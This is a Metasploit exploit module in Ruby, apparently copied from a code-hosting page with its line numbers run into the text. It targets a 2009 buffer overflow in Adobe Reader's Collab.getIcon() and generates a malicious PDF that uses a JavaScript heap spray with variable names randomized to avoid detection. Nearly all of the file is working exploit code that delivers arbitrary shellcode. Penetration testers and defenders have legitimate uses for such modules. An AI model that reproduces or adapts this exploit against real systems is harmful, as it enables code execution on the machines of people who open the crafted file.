Path: blob/master/modules/exploits/windows/fileformat/adobe_geticon.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT11include Msf::Exploit::PDF1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Adobe Collab.getIcon() Buffer Overflow',18'Description' => %q{19This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat.20Affected versions include < 7.1.1, < 8.1.3, and < 9.1. By creating a specially21crafted pdf that a contains malformed Collab.getIcon() call, an attacker may22be able to execute arbitrary code.23},24'License' => MSF_LICENSE,25'Author' => [26'MC',27'Didier Stevens <didier.stevens[at]gmail.com>',28'jduck'29],30'References' => [31[ 'CVE', '2009-0927' ],32[ 'OSVDB', '53647' ],33[ 'ZDI', '09-014' ],34],35'DefaultOptions' => {36'EXITFUNC' => 'process',37'DisablePayloadHandler' => true38},39'Payload' => {40'Space' => 1024,41'BadChars' => "\x00",42},43'Platform' => 'win',44'Targets' => [45# test results (on Windows XP SP3)46# reader 7.0.5 - no trigger47# reader 7.0.8 - no trigger48# reader 7.0.9 - no trigger49# reader 7.1.0 - no trigger50# reader 7.1.1 - reported not vulnerable51# reader 8.0.0 - works52# reader 8.1.2 - works53# reader 8.1.3 - reported not vulnerable54# reader 9.0.0 - works55# reader 9.1.0 - reported not vulnerable56[ 'Adobe Reader Universal (JS Heap Spray)', { 'Ret' => '' } ],57],58'DisclosureDate' => '2009-03-24',59'DefaultTarget' => 0,60'Notes' => {61'Reliability' => UNKNOWN_RELIABILITY,62'Stability' => UNKNOWN_STABILITY,63'SideEffects' => UNKNOWN_SIDE_EFFECTS64}65)66)6768register_options(69[70OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),71]72)73end7475def exploit76# Encode the shellcode.77shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))7879# Make some nops80nops = Rex::Text.to_unescape(make_nops(4))8182# Randomize variables83rand1 = rand_text_alpha(rand(100) + 1)84rand2 = rand_text_alpha(rand(100) + 1)85rand3 = rand_text_alpha(rand(100) + 1)86rand4 = rand_text_alpha(rand(100) + 1)87rand5 = rand_text_alpha(rand(100) + 1)88rand6 = rand_text_alpha(rand(100) + 1)89rand7 = rand_text_alpha(rand(100) + 1)90rand8 = rand_text_alpha(rand(100) + 1)91rand9 = rand_text_alpha(rand(100) + 1)92rand10 = rand_text_alpha(rand(100) + 1)93rand11 = rand_text_alpha(rand(100) + 1)94rand12 = rand_text_alpha(rand(100) + 1)9596script = %Q|97var #{rand1} = unescape("#{shellcode}");98var #{rand2} ="";99for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");100#{rand4} = #{rand2} + #{rand1};101#{rand5} = unescape("#{nops}");102#{rand6} = 20;103#{rand7} = #{rand6}+#{rand4}.length104while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};105#{rand8} = #{rand5}.substring(0, #{rand7});106#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});107while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};108#{rand10} = new Array();109for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};110var #{rand12} = unescape("%0a");111while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};112#{rand12} = "N."+#{rand12};113Collab.getIcon(#{rand12});114|115116# Create the pdf117# pdf = make_pdf(script)118pdf = create_pdf(script)119print_status("Creating '#{datastore['FILENAME']}' file...")120121file_create(pdf)122end123end124125126